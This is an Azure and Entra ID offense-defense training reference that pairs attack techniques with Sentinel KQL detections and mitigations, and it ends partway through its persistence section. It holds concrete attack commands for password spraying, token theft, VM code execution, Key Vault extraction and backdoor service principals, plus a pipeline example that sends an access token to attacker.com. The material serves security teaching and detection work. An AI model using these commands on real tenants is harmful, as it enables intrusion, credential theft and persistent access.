Azure & Entra ID Security — Ultimate Deep Dive
Azure & Entra ID Security — Ultimate Deep Dive
[MODE: PURPLE] — Comprehensive offense-defense coverage for Azure cloud environments.
Last Updated: 2026-03-14 Classification: Training Reference — Authorized Security Operations
Table of Contents
- Entra ID (Azure AD) Fundamentals
- Entra ID Attack Surface
- Azure RBAC & Privilege Escalation
- Azure Resource Exploitation
- Azure Networking Attacks & Defense
- Azure DevOps & Pipeline Attacks
- Microsoft 365 Attack Surface
- Post-Exploitation & Persistence
- Tooling Reference
- Detection Engineering with Sentinel KQL
- Incident Response for Azure
- Hardening & Architecture
1. Entra ID (Azure AD) Fundamentals
1.1 Identity Architecture
Entra ID is Microsoft's cloud identity and access management service. Unlike on-premises Active Directory, it uses flat structures (no OUs, no forests in the traditional sense) and relies on OAuth 2.0/OIDC/SAML protocols rather than Kerberos/NTLM.
Core Objects:
| Object | Description | Security Relevance |
|---|---|---|
| Users | Human identities (cloud-only or synced from on-prem AD) | Password spray targets, PRT holders |
| Groups | Security or M365 groups; can be dynamic or assigned | Dynamic group abuse for privesc |
| App Registrations | Application definitions (templates) in home tenant | Credential injection, permission abuse |
| Service Principals | Local instance of an app in a tenant (the "enterprise app") | Persistence via credential addition |
| Managed Identities | Credential-free identities for Azure resources | Token theft via IMDS |
| Devices | Entra-joined, hybrid-joined, or registered devices | PRT extraction targets |
| Administrative Units | Scoped administrative boundaries | Scope restriction bypass |
| Conditional Access Policies | Context-based access controls | Bypass via legacy auth, device spoofing |
1.2 Application & Service Principal Model
[CONFIRMED] Understanding the app model is critical for Azure security:
- Application Object — Global definition in the home tenant. Acts as a template. One-to-one with the software application.
- Service Principal (Application type) — Local instance created in each tenant where the app is used. Inherits properties from the app object. Created upon registration or admin/user consent.
- Service Principal (Managed Identity type) — Represents a managed identity. Cannot be directly modified. No associated app object.
- Service Principal (Legacy type) — Pre-app-registration era apps. Can have credentials and properties but no app registration.
Permission Types:
| Type | Description | Risk Level |
|---|---|---|
| Delegated | Act on behalf of signed-in user; scoped to user's access | Medium — constrained by user context |
| Application | Act as the app itself with no user context; often tenant-wide | Critical — no user boundary |
Consent Framework:
- User consent — Individual user grants delegated permissions to an app
- Admin consent — Admin grants permissions tenant-wide (delegated or application)
- Illicit consent grant — Attacker creates malicious app, tricks user/admin into consenting (T1566 phishing vector)
1.3 Managed Identities
System-assigned:
- Tied to lifecycle of the Azure resource (VM, Function App, etc.)
- One identity per resource
- Deleted when resource is deleted
- Service principal name matches resource name
User-assigned:
- Independent lifecycle — must be explicitly deleted
- Can be shared across multiple resources
- Created as standalone Azure resource
- Recommended type for most scenarios
Token Acquisition:
# From within an Azure VM or resource with managed identity
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
Security Considerations:
- Tokens are accessible to any code running on the resource
- No credential rotation needed (handled by Azure)
- Can be used as Federated Identity Credentials (FIC) on Entra ID apps
- Limit of 20 FICs when using managed identities on an Entra ID app
1.4 Primary Refresh Token (PRT)
[CONFIRMED] The PRT is a key artifact for Entra ID authentication on devices.
What a PRT does:
- Enables SSO across all applications on a device
- Used to acquire access tokens and refresh tokens
- Carries device and user claims for Conditional Access evaluation
- Valid for 90 days, renewed every 4 hours
PRT Types:
- Registered device PRTs — Bound to a device with an Entra identity; satisfies device-based CA policies
- Unregistered device PRTs — Bound to a device without Entra identity; uses on-device key pair
How PRT is Protected:
- Device key (dkpub/dkpriv) — Generated during device registration; private key stored in TPM
- Transport key (tkpub/tkpriv) — Used to encrypt session keys; private key in TPM
- Session key — Proof-of-Possession key; encrypted with transport key; used to sign all token requests
- TPM 2.0 binding prevents extraction (when available and functioning)
PRT Issuance Scenarios (Windows):
- Entra joined / Hybrid joined — Issued during Windows sign-in with org credentials
- Entra registered — Issued when user adds secondary work account
MFA Claim on PRT:
- Windows Hello for Business login automatically gets MFA claim (extends continuously)
- MFA during WAM interactive sign-in imprints MFA claim (time-limited per directory setting)
- Partitioned PRTs per credential type (password, WHfB, smart card)
PRT Attack Vectors (T1528 — Steal Application Access Token):
| Attack | Method | Mitigation |
|---|---|---|
| Pass-the-PRT | Extract PRT cookie from device, replay to cloud services | TPM 2.0 binding, device compliance policies |
| PRT cookie theft | Intercept x-ms-RefreshTokenCredential header from browser |
Enforce phishing-resistant auth (FIDO2) |
| Session key extraction | Dump session key from memory on non-TPM devices | Require TPM, Windows Hello for Business |
| Mimikatz PRT extraction | sekurlsa::cloudap to dump PRT from LSASS |
Credential Guard, LSA protection |
PRT Invalidation Triggers:
- User deleted or disabled in Entra ID
- Device deleted or disabled
- Password change (PRT obtained via password)
- TPM failure
DETECTION OPPORTUNITIES:
// Detect PRT usage from unusual locations
SigninLogs
| where AuthenticationProcessingDetails has "Primary Refresh Token"
| where LocationDetails.city !in ("expected_city1", "expected_city2")
| project TimeGenerated, UserPrincipalName, LocationDetails, DeviceDetail, RiskLevel
2. Entra ID Attack Surface
2.1 Reconnaissance & Enumeration
2.1.1 Unauthenticated Reconnaissance
Tenant Discovery:
# Check if domain uses Entra ID (no auth required)
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"
# NameSpaceType = "Managed" → Entra ID tenant
# NameSpaceType = "Federated" → ADFS/federation
# Get tenant ID
curl "https://login.microsoftonline.com/target.com/.well-known/openid-configuration"
# Enumerate tenant ID from domain
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration" | jq '.token_endpoint'
User Enumeration:
o365creeper— Validates email addresses against O365o365spray— Username enumeration and password spraying- ActiveSync/Autodiscover-based validation (Office 365 User Enumeration)
Subdomain Enumeration:
# MicroBurst
Import-Module MicroBurst.psm1
Invoke-EnumerateAzureSubDomains -Base "targetcompany" -Verbose
# Discovers: *.blob.core.windows.net, *.azurewebsites.net, *.database.windows.net, etc.
ATT&CK: T1589 (Gather Victim Identity Information), T1590 (Gather Victim Network Information)
2.1.2 Authenticated Enumeration
AzureAD PowerShell:
# Connect
Connect-AzureAD
# Enumerate all users
Get-AzureADUser -All $true
# Enumerate all groups
Get-AzureADGroup -All $true
# Enumerate devices
Get-AzureADDevice -All $true
# Find Global Admins
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
# Enumerate app registrations
Get-AzureADApplication -All $true
# Enumerate service principals
Get-AzureADServicePrincipal -All $true
Az PowerShell:
Connect-AzAccount
# List resources
Get-AzResource
# Role assignments
Get-AzRoleAssignment
# VMs, Web Apps, Storage, Key Vault
Get-AzVM
Get-AzWebApp
Get-AzFunctionApp
Get-AzStorageAccount
Get-AzKeyVault
ROADtools (roadrecon):
# Authenticate
roadrecon auth -u user@target.com -p 'password'
# Or with access token
roadrecon auth --access-token $TOKEN
# Gather all Azure AD data into SQLite database
roadrecon gather
# Launch web GUI for analysis
roadrecon gui
# Offline analysis — no further API calls needed
ROADtools dumps the entire Azure AD graph to a local SQLAlchemy-backed database for offline analysis. Key capabilities:
- User, group, application, service principal enumeration
- Permission and role mapping
- Visual relationship exploration via Angular UI
- Plugin-based output formatting
roadtx (Token eXchange):
# Multiple authentication flows
# Device registration operations
# PRT handling
# Token type conversions
pip install roadtx
AzureHound / BloodHound:
# Enumerate attack paths
Invoke-AzureHound -Verbose
# Cypher query for Key Vault access paths
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
Stormspotter:
- Graphs Azure AD and Azure resource relationships
- Neo4j visualization of attack paths
- Backend/collector architecture
SkyArk:
# Discover privileged users and "Shadow Admins"
Import-Module SkyArk
Start-AzureStealth
# Or
Scan-AzureAdmins
DETECTION OPPORTUNITIES:
// Detect mass enumeration via Graph API
AuditLogs
| where OperationName in ("List users", "List groups", "List applications", "List servicePrincipals")
| summarize count() by InitiatedBy.user.userPrincipalName, bin(TimeGenerated, 5m)
| where count_ > 50
2.2 Initial Access — Credential Attacks
2.2.1 Password Spraying
ATT&CK: T1110.003 (Brute Force: Password Spraying)
# MSOLSpray
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2026!" -Verbose
# o365spray (Python)
python3 o365spray.py --spray -U users.txt -P passwords.txt --rate 1
Rate Limiting: Entra ID Smart Lockout defaults — 10 attempts before lockout, 60-second reset. Spray at 1 password per 60+ minutes to avoid detection.
MFA Detection:
# MFASweep — detect MFA across Microsoft services
Import-Module MFASweep.ps1
Invoke-MFASweep -Username user@target.com -Password "Password123"
# Tests: EWS, ActiveSync, ADFS, Graph, Azure Management, etc.
DETECTION OPPORTUNITIES:
// Password spray detection
SigninLogs
| where ResultType == "50126" // Invalid username or password
| summarize FailureCount=count(), DistinctUsers=dcount(UserPrincipalName) by IPAddress, bin(TimeGenerated, 10m)
| where DistinctUsers > 10 and FailureCount > 20
2.2.2 Device Code Phishing
ATT&CK: T1566 (Phishing), T1528 (Steal Application Access Token)
The device code flow is designed for input-constrained devices. Attackers abuse it for phishing:
- Attacker initiates device code flow:
POST https://login.microsoftonline.com/common/oauth2/v2.0/devicecode
Content-Type: application/x-www-form-urlencoded
client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://graph.microsoft.com/.default offline_access
- Receives
user_codeandverification_uri(https://microsoft.com/devicelogin) - Sends
user_codeto victim via phishing email/message - Victim authenticates at legitimate Microsoft URL — appears trustworthy
- Attacker polls
/tokenendpoint and receives tokens:
POST https://login.microsoftonline.com/common/oauth2/v2.0/token
Content-Type: application/x-www-form-urlencoded
grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&device_code=<device_code>
Why it works: The victim authenticates at a legitimate Microsoft URL, and MFA is completed by the victim. The attacker receives the tokens without ever seeing the victim's password.
DETECTION OPPORTUNITIES:
// Detect device code flow usage
SigninLogs
| where AuthenticationProtocol == "deviceCode"
| where AppDisplayName !in ("expected_device_code_apps")
| project TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress, LocationDetails
Mitigation: Block device code flow in Conditional Access (Authentication Flows condition, available in preview).
2.2.3 Adversary-in-the-Middle (AiTM) Phishing
ATT&CK: T1557 (Adversary-in-the-Middle), T1539 (Steal Web Session Cookie)
Reverse Proxy AiTM (EvilGinx, Modlishka, EvilProxy):
- Deploy reverse proxy between user and legitimate login.microsoftonline.com
- Proxy relays all requests/responses in real-time
- Captures credentials AND session cookies
- Session cookies bypass MFA — they contain MFA claims
Synchronous Relay AiTM:
- Fake sign-in page captures credentials and MFA codes
- Relays them in real-time to legitimate service
- Intercepts and stores resulting session cookies
Mitigations:
- FIDO2 security keys (phishing-resistant — origin-bound, cannot be proxied)
- Windows Hello for Business
- Certificate-based authentication
- Token protection / Conditional Access session controls
- Conditional Access requiring compliant devices
DETECTION OPPORTUNITIES:
// AiTM detection — session cookie replay from different IP
SigninLogs
| where ResultType == 0
| summarize IPs=make_set(IPAddress), Locations=make_set(LocationDetails.city) by UserPrincipalName, CorrelationId
| where array_length(IPs) > 1
2.2.4 Illicit Consent Grant
ATT&CK: T1550.001 (Use Alternate Authentication Material: Application Access Token)
Attack flow:
- Attacker registers a multi-tenant app with permissions like
Mail.Read,Files.ReadWrite.All - Crafts phishing URL:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=<app_id>&response_type=code&scope=Mail.Read+Files.ReadWrite.All+offline_access - Victim clicks URL, sees Microsoft consent prompt, grants access
- Attacker receives authorization code, exchanges for access/refresh tokens
- Attacker reads victim's email, downloads files using delegated permissions
DETECTION OPPORTUNITIES:
// Detect consent grants
AuditLogs
| where OperationName == "Consent to application"
| extend ConsentType = tostring(parse_json(tostring(TargetResources[0].modifiedProperties))[0].newValue)
| project TimeGenerated, InitiatedBy, TargetResources[0].displayName, ConsentType
2.3 Entra Connect (Azure AD Connect) Attacks
ATT&CK: T1003 (OS Credential Dumping), T1021 (Remote Services)
Entra Connect syncs on-premises AD to Entra ID. It creates a highly privileged sync service account.
2.3.1 MSOL Service Account Credential Extraction
The Entra Connect server stores credentials for the MSOL service account (which has DCSync rights in on-prem AD) in an encrypted database.
# adconnectdump — extract MSOL credentials
# Requires admin access to the Entra Connect server
# Method 1: Direct database extraction
python3 adconnectdump.py domain.local/admin:password@AADC-SERVER
# Method 2: azuread_decrypt_msol_v2.ps1
# Decrypts MSOL service account password from ADSync database
Import-Module azuread_decrypt_msol_v2.ps1
Impact: With MSOL credentials, attacker can perform DCSync against on-premises AD, extracting all password hashes including KRBTGT.
2.3.2 Seamless SSO Silver Ticket
If Seamless SSO is enabled, a computer account AZUREADSSOACC is created in on-prem AD. Its Kerberos key can forge silver tickets for cloud access.
2.3.3 Sync Rule Manipulation
Compromised sync admin can modify sync rules to:
- Alter user attributes during sync
- Create privileged accounts in cloud
- Bypass on-prem security controls
DETECTION OPPORTUNITIES:
// Monitor Entra Connect sync activity
AuditLogs
| where OperationName has "sync" or InitiatedBy.app.displayName == "Azure AD Connect"
| where OperationName !in ("expected_sync_operations")
2.4 Conditional Access Bypass Techniques
ATT&CK: T1556 (Modify Authentication Process)
| Bypass Technique | Description | Prerequisite |
|---|---|---|
| Legacy authentication | POP3, IMAP, SMTP, EAS don't support MFA | Legacy auth not blocked |
| Trusted location abuse | Auth from whitelisted IP ranges | Knowledge of trusted IPs |
| Device compliance spoofing | Present fake device compliance claims | Weak device compliance checks |
| User agent manipulation | Spoof platform/browser to avoid platform-specific policies | Policy only targets specific platforms |
| Service principal auth | SPs may not be covered by user-targeted CA policies | CA policies don't target workload identities |
| Token replay | Stolen session token replayed from different context | Token without device binding |
| Emergency access abuse | Break-glass accounts often excluded from CA | Compromise of emergency accounts |
Legacy Authentication Block (Critical Control):
Legacy clients include: SMTP, Autodiscover, Exchange Online PowerShell, EWS, IMAP4, MAPI/HTTP, OAB, Outlook Anywhere, POP3, Reporting Web Services.
These do NOT support MFA and bypass Conditional Access grant controls requiring MFA or compliant devices.
CAPSlock (SpecterOps): Offline tool for analyzing Conditional Access policy interactions and gaps. Addresses the challenge that "Conditional Access is powerful but hard to reason about once policies start to overlap."
2.5 Dynamic Group Abuse
ATT&CK: T1098 (Account Manipulation)
Dynamic groups auto-populate based on user/device attribute rules. If an attacker can modify their own attributes to match a rule, they gain membership in privileged groups.
# Example dynamic group rule
(user.department -eq "IT Admins") -and (user.accountEnabled -eq true)
# If attacker can set their department to "IT Admins" via self-service profile or Graph API...
Exploitation:
- Enumerate dynamic group membership rules
- Identify attributes the user can self-modify (e.g., department, jobTitle)
- Modify attributes to match high-privilege group rules
- Wait for dynamic evaluation (can be minutes)
- Inherit all permissions/roles assigned to the group
2.6 Administrative Units
Administrative Units (AUs) provide scoped administration. An admin scoped to an AU can only manage objects within that AU.
Attack considerations:
- Restricted Management AUs prevent even Global Admins from managing contained objects
- Can be abused to hide objects from tenant-wide administrators
- Scoped role assignments may create unexpected privilege boundaries
2.7 FOCI (Family of Client IDs)
[CONFIRMED] Microsoft uses a concept of "Family of Client IDs" — trusted first-party apps that can exchange tokens between each other. A refresh token obtained for one FOCI app can be exchanged for tokens to other FOCI apps.
Implication: Compromising a token for any FOCI app (e.g., Microsoft Teams) can grant access to other Microsoft services (e.g., Outlook, OneDrive) without additional authentication.
3. Azure RBAC & Privilege Escalation
3.1 Azure RBAC Architecture
[CONFIRMED] Azure RBAC is built on Azure Resource Manager and uses an additive permission model.
Role Assignment = Security Principal + Role Definition + Scope
Scope Hierarchy (parent-child inheritance):
Management Group
└── Subscription
└── Resource Group
└── Resource
Permissions assigned at a parent scope are inherited by all child scopes.
How Access is Evaluated:
- Token acquired with group memberships
- Deny assignments checked first — if match, access blocked
- Role assignments evaluated at requested scope
- Effective permissions =
Actions - NotActions(management plane) andDataActions - NotDataActions(data plane) - Conditions evaluated if present
3.2 Key Built-in Roles
| Role | Scope | Risk |
|---|---|---|
| Owner | Full control including role assignment | Critical — can grant any role |
| Contributor | Create/modify resources, no role assignment | High — code execution on VMs |
| Reader | View-only access | Medium — info disclosure |
| User Access Administrator | Manage role assignments only | Critical — can grant Owner |
| Virtual Machine Contributor | Manage VMs | High — RunCommand = code exec |
| Key Vault Secrets Officer | Manage secrets | High — credential access |
| Storage Blob Data Owner | Full blob access | High — data exfiltration |
3.3 Classic Administrator Roles (Legacy)
| Role | Description |
|---|---|
| Account Administrator | Billing owner, can manage subscriptions |
| Service Administrator | Maps to Owner at subscription scope |
| Co-Administrator | Maps to Owner at subscription scope |
[CONFIRMED] These legacy roles still exist and can be abused if not properly managed. Service Administrator and Co-Administrator have equivalent access to Owner.
3.4 Privilege Escalation Paths
3.4.1 Entra ID to Azure RBAC Escalation
# Global Administrator can elevate to User Access Administrator over all Azure subscriptions
# PowerZure
Set-AzureElevatedPrivileges
# This makes a Graph API call to elevate GA → User Access Administrator at root scope
# Cannot use service principals — must be logged in as GA
This is a built-in Microsoft feature designed for break-glass scenarios but is frequently abused.
3.4.2 Custom Role Abuse
Custom roles with wildcard actions or overly broad permissions:
{
"Name": "Custom VM Manager",
"Actions": [
"Microsoft.Compute/*",
"Microsoft.Authorization/roleAssignments/write" // DANGEROUS
]
}
The Microsoft.Authorization/roleAssignments/write permission allows the role holder to assign any role to any principal — escalation to Owner.
3.4.3 Subscription Takeover
If an Azure subscription is moved to a different tenant, existing role assignments are deleted but:
- Classic administrator roles may persist
- Managed identity assignments at the resource level persist
- Resources with connection strings/SAS tokens remain accessible
3.4.4 Managed Identity Privilege Escalation
If a managed identity has excessive RBAC permissions, any code running on that resource can assume those permissions:
# From compromised Azure VM with system-assigned managed identity
TOKEN=$(curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
| jq -r '.access_token')
# Use token to enumerate/modify Azure resources
curl -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01"
PowerZure Enumeration:
# Discover managed identities
Get-AzureManagedIdentity
# Check PIM assignments
Get-AzurePIMAssignment
# Find roles with specific permissions
Get-AzureRolePermission -Permission "Microsoft.Authorization/roleAssignments/write"
DETECTION OPPORTUNITIES:
// Detect elevation of Global Admin to User Access Administrator
AuditLogs
| where OperationName == "Elevate access"
| project TimeGenerated, InitiatedBy.user.userPrincipalName, Result
// Detect new role assignments
AzureActivity
| where OperationNameValue == "MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/WRITE"
| project TimeGenerated, Caller, Properties
4. Azure Resource Exploitation
4.1 Virtual Machines
4.1.1 Run Command (T1059 — Command and Scripting Interpreter)
Azure VMs support RunCommand — native code execution via the Azure control plane. Requires Contributor role or higher on the VM.
# PowerZure
Invoke-AzureRunCommand -VMName AzureWin10 -Command "whoami"
# Az PowerShell
Invoke-AzVMRunCommand -ResourceGroupName "RG" -VMName "VM" -CommandId "RunPowerShellScript" -ScriptString "whoami"
# Az CLI
az vm run-command invoke -g RG -n VM --command-id RunPowerShellScript --scripts "whoami"
4.1.2 Custom Script Extension (T1059)
Leaves fewer logs than RunCommand:
# PowerZure
Invoke-AzureCustomScriptExtension -VMName AzureWin10 -Command "whoami" -ResourceGroup "RG"
4.1.3 MSBuild Execution
Execute arbitrary payloads via MSBuild (.NET 4.0 default on Windows):
# Runs as SYSTEM — requires Contributor role
Invoke-AzureRunMSBuild -VMName AzureWin10 -File 'C:\temp\build.xml'
4.1.4 Binary Upload & Execution
# Base64-encodes binary, uploads, decodes, and executes on target VM
Invoke-AzureRunProgram -VMName AzureWin10 -File C:\temp\beacon.exe
4.1.5 VM UserData Command Channel
# Deploy persistent agent that polls IMDS userdata every 60 seconds
Invoke-AzureVMUserDataAgent -VMName AzureWin10
# Send commands through userdata — minimal logging
Invoke-AzureVMUserDataCommand -VMName AzureWin10 -Command "whoami"
4.1.6 VM Disk Exfiltration
# Generate 24-hour download link for VM disk (VM must be powered off)
Get-AzureVMDisk -DiskName "OsDisk_name"
DETECTION OPPORTUNITIES:
// Detect RunCommand execution
AzureActivity
| where OperationNameValue == "MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMAND/ACTION"
| project TimeGenerated, Caller, ResourceGroup, Properties
// Detect Custom Script Extension
AzureActivity
| where OperationNameValue has "MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/WRITE"
| project TimeGenerated, Caller, Properties
4.2 Storage Accounts
4.2.1 Public Blob Storage Discovery
# MicroBurst — anonymous enumeration
Invoke-EnumerateAzureBlobs -Base "targetcompany"
# BlobHunter — scan for public blob storage
python3 BlobHunter.py
# Grayhat Warfare — search engine for open blobs
# https://buckets.grayhatwarfare.com/
4.2.2 SAS Token Abuse
Shared Access Signatures (SAS) provide delegated access. Misconfigured SAS tokens with excessive permissions or long expiry are common findings.
# PowerZure — enumerate storage contents
Show-AzureStorageContent -StorageAccountName "targetaccount" -All
# Download specific content
Get-AzureStorageContent -StorageAccountName "acct" -Type Blob -ContainerName "data" -Blob "secrets.txt"
4.2.3 Storage Account Key Access
Storage account keys provide full access to all data in the account. If an attacker obtains these keys, they have unrestricted access.
DETECTION OPPORTUNITIES:
// Detect storage account key listing
AzureActivity
| where OperationNameValue == "MICROSOFT.STORAGE/STORAGEACCOUNTS/LISTKEYS/ACTION"
| project TimeGenerated, Caller, ResourceGroup
4.3 Key Vault
4.3.1 Secret Extraction
# PowerZure — list vault contents
Show-AzureKeyVaultContent -Name "VaultName" -All
# Extract secrets (modifies access policies to enable download)
Get-AzureKeyVaultContent -VaultName "VaultName"
# Export keys (PEM) or certificates (PFX)
Export-AzureKeyVaultContent -VaultName "VaultTest" -Type Key -Name "Testkey" -OutFilePath C:\Temp
4.3.2 Access Policy Manipulation
If an attacker has sufficient permissions, they can add their own identity to the Key Vault access policy, then extract secrets:
# Add self to vault access policy
Set-AzKeyVaultAccessPolicy -VaultName "vault" -UserPrincipalName "attacker@domain.com" -PermissionsToSecrets get,list
DETECTION OPPORTUNITIES:
// Key Vault access monitoring
AzureDiagnostics
| where ResourceType == "VAULTS"
| where OperationName in ("SecretGet", "SecretList", "KeyGet", "CertificateGet")
| project TimeGenerated, CallerIPAddress, identity_claim_upn_s, OperationName, ResultType
// Key Vault policy changes
AzureActivity
| where OperationNameValue == "MICROSOFT.KEYVAULT/VAULTS/WRITE"
| where Properties has "accessPolicies"
4.4 Azure Functions & App Service
4.4.1 Function App Token Theft
Azure Functions with managed identities expose tokens via IMDS:
# From within compromised function
curl -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01"
4.4.2 App Service Source Code Exposure
Historical vulnerability: Azure App Service exposed source code repositories of customer applications. Always verify .git directories and deployment artifacts are not publicly accessible.
4.4.3 Kudu Console Access
If an attacker has Contributor access to an App Service, they can access the Kudu debug console (https://appname.scm.azurewebsites.net) for code execution and environment variable access.
4.5 Azure Kubernetes Service (AKS)
Attack Surface:
- Misconfigured RBAC (cluster-admin binding to default service accounts)
- Exposed Kubernetes dashboard
- Container escape to node → node managed identity token theft
- Azure CNI networking exposes pods to VNet resources
- Kubelet API access from compromised pods
Token Theft from AKS:
# From within a pod with a mounted service account
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# From node — Azure managed identity
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
4.6 Automation Accounts
4.6.1 RunAs Account Certificate Extraction
# PowerZure — extract RunAs certificate
Get-AzureRunAsCertificate
# Creates a runbook that gathers the RunAs certificate and writes it as base64 to job output
# Default: RunAs accounts are Contributors over the entire subscription
# Discover RunAs accounts
Get-AzureRunAsAccount
4.6.2 Runbook-Based Execution
# Execute command via Automation Account RunAs credentials
Invoke-AzureCommandRunbook -AutomationAccount "TestAccount" -VMName "Win10Test" -Command "whoami"
# Extract runbook content for secrets/credentials review
Get-AzureRunbookContent -All -OutFilePath 'C:\temp'
# Start existing runbook
Start-AzureRunbook -Account "AutoAccount" -Runbook "TestRunbook"
DETECTION OPPORTUNITIES:
// Detect Automation Account runbook creation/modification
AzureActivity
| where OperationNameValue has "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS"
| project TimeGenerated, Caller, OperationNameValue, Properties
5. Azure Networking Attacks & Defense
5.1 Network Security Groups (NSGs)
Common Misconfigurations:
- Inbound
Any/Anyrules (effectively no firewall) - Overly broad source IP ranges (0.0.0.0/0 to management ports)
- SSH/RDP exposed to internet
- Missing NSG on subnets (default allow-all)
- NSG rules not applied to both subnet AND NIC level
Enumeration:
# List all NSGs and their rules
Get-AzNetworkSecurityGroup | ForEach-Object {
$_.Name
$_.SecurityRules | Format-Table Name, Direction, Access, SourceAddressPrefix, DestinationPortRange
}
5.2 Private Link & Service Endpoints
Service Endpoints:
- Extend VNet identity to Azure services (Storage, SQL, Key Vault)
- Traffic stays on Azure backbone
- Service-side firewall rules limit access to specific VNets
- Risk: If VNet is compromised, attacker can access services through endpoint
Private Link / Private Endpoints:
- Create private IP in your VNet for Azure PaaS service
- Traffic never leaves Microsoft's network
- DNS integration required (can be complex)
- Risk: DNS misconfiguration can cause traffic to go to public endpoint
5.3 Azure Firewall & WAF
Azure Firewall attack surface:
- Misconfigured application rules allowing command & control traffic
- DNAT rules exposing internal services
- Threat intelligence bypass via encrypted traffic
- Rule collection priority misunderstanding (allow before deny)
WAF (Application Gateway / Front Door):
- OWASP CRS rule set evasion
- Custom rule bypass
- Rate limiting configuration gaps
5.4 Virtual Network Peering
Attack consideration: VNet peering is non-transitive by default but can be configured for gateway transit. Compromising one peered VNet does NOT automatically grant access to other peered VNets' resources (unless routing is configured).
5.5 DNS Security
- Azure Private DNS zones can be misconfigured to resolve internal names publicly
- DNS exfiltration through Azure DNS recursive resolution
- Custom DNS server poisoning in VNet settings
6. Azure DevOps & Pipeline Attacks
6.1 Service Connection Abuse
ATT&CK: T1199 (Trusted Relationship), T1552 (Unsecured Credentials)
Azure DevOps pipelines use Service Connections (backed by service principals) to deploy to Azure. These are high-value targets.
Attack vectors:
- Credential extraction from pipeline variables — Service principal secrets stored in variable groups
- Service connection token theft — Access token available during pipeline execution
- Cross-pipeline service connection abuse — Service connections usable outside intended pipelines (if not restricted)
6.2 Pipeline Injection
# Poisoned pipeline — inject malicious steps
trigger:
- main
steps:
- script: |
# Legitimate build step
npm install && npm build
- script: |
# Injected — exfiltrate service connection token
curl -H "Authorization: Bearer $(System.AccessToken)" \
"https://dev.azure.com/org/_apis/serviceendpoint/endpoints" \
| curl -X POST -d @- https://attacker.com/collect
6.3 Variable Group Secret Extraction
Pipeline variables and variable groups can contain secrets. With sufficient permissions:
# List variable groups via Azure DevOps REST API
az devops invoke --area distributedtask --resource variablegroups \
--route-parameters project="ProjectName" --query-parameters api-version=6.0
6.4 Build Artifact Poisoning
Compromise build artifacts to inject malicious code into deployment packages. Supply chain attack vector.
Mitigations:
- Use managed identities instead of service principal secrets
- Restrict service connection usage to specific pipelines
- Enable audit logging for Azure DevOps
- Implement branch protection and required reviewers
- Use OIDC-based federated credentials for pipeline authentication
- Secret scanning in repositories
DETECTION OPPORTUNITIES:
// Monitor Azure DevOps audit logs (if forwarded to Sentinel)
AzureDevOpsAuditing
| where OperationName in ("Token.PersonalAccessTokenAccess", "Pipeline.PipelineModified")
| project TimeGenerated, ActorUPN, OperationName, Details
7. Microsoft 365 Attack Surface
7.1 Exchange Online
Attack Vectors:
| Attack | Description | ATT&CK |
|---|---|---|
| Mailbox delegation abuse | Add FullAccess/SendAs to target mailbox | T1098 |
| Transport rule manipulation | Create rules to BCC/forward all mail to attacker | T1114 |
| Inbox rule creation | Auto-forward or auto-delete specific emails | T1114.003 |
| OAuth app mail access | Illicit consent for Mail.Read/Mail.ReadWrite | T1114 |
| EWS abuse | Use Exchange Web Services for data exfiltration | T1114 |
Detection:
// Detect mailbox forwarding rules (common in BEC)
OfficeActivity
| where Operation in ("New-InboxRule", "Set-InboxRule", "New-TransportRule")
| where Parameters has "ForwardTo" or Parameters has "RedirectTo"
| project TimeGenerated, UserId, Operation, Parameters
7.2 SharePoint Online & OneDrive
Attack Vectors:
- Excessive sharing (external sharing enabled, anonymous links)
- Site collection admin abuse
- Versioning bypass for ransomware (reduce version count, encrypt files, versions roll off)
- OAuth app access to Files.ReadWrite.All
7.3 Microsoft Teams
Attack Vectors:
- GIFShell — Reverse shell via Teams GIF image processing (CVE-based)
- External access federation abuse
- Guest user privilege escalation
- Teams webhook abuse for data exfiltration
- Conversation data extraction via Graph API
7.4 Unified Audit Log
The M365 Unified Audit Log (UAL) is the primary log source for M365 security monitoring:
# Search UAL
Search-UnifiedAuditLog -StartDate "2026-03-01" -EndDate "2026-03-14" -RecordType ExchangeAdmin
8. Post-Exploitation & Persistence
8.1 Service Principal Backdoor
ATT&CK: T1098.001 (Account Manipulation: Additional Cloud Credentials)
# PowerZure — create backdoor service principal with Global Admin role
New-AzureBackdoor -Username 'backdoor-sp' -Password 'Str0ngP@ss!'
# Can then elevate via: Set-AzureElevatedPrivileges
# Add secret to existing service principal for persistence
Add-AzureADSPSecret -ApplicationName "LegitApp" -Password "secret123"
# Output: connection string for SP login
Why this is effective:
- Service principal passwords don't trigger user password policies
- SP auth may not be covered by Conditional Access (user-targeted policies)
- No MFA on SP authentication
- SP credentials survive user password changes
8.2 App Registration Credential Injection
Add new credentials (password or certificate) to existing app registrations:
# Add credential to app registration
New-AzADAppCredential -ApplicationId "app-guid" -Password (ConvertTo-SecureString "P@ss" -AsPlainText -Force)
# Certificate-based persistence — harder to detect
$cert = New-SelfSignedCertificate -Subject "CN=backdoor" -CertStoreLocation "Cert:\CurrentUser\My"
New-AzADAppCredential -ApplicationId "app-guid" -CertValue $cert.GetRawCertData()
